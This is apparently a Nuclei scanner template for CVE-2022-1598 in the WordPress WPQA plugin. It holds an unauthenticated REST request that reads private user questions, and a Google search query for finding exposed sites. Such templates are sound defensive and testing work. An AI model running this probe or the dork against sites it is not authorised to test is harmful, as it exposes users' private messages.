nuclei-templates/http/cves/2022/CVE-2022-1598.yaml

id: CVE-2022-1598

info:
  name: WordPress WPQA <5.5 - Improper Access Control
  author: veshraj
  severity: medium
  description: |
    WordPress WPQA plugin before 5.5 is susceptible to improper access control. The plugin lacks authentication in a REST API endpoint. An attacker can potentially discover private questions sent between users on the site.
  reference:
    - https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1598
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1598
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-1598
    cwe-id: CWE-306
    epss-score: 0.01854
    cpe: cpe:2.3:a:2code:wpqa_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    google-query: inurl:/wp-content/plugins/wpqa
    verified: true
    framework: wordpress
    vendor: 2code
    product: wpqa_builder
  tags: cve,cve2022,wordpress,wp-plugin,wpqa,idor,wpscan

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-json/wp/v2/asked-question'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"rendered":'
        condition: and

      - type: status
        status:
          - 200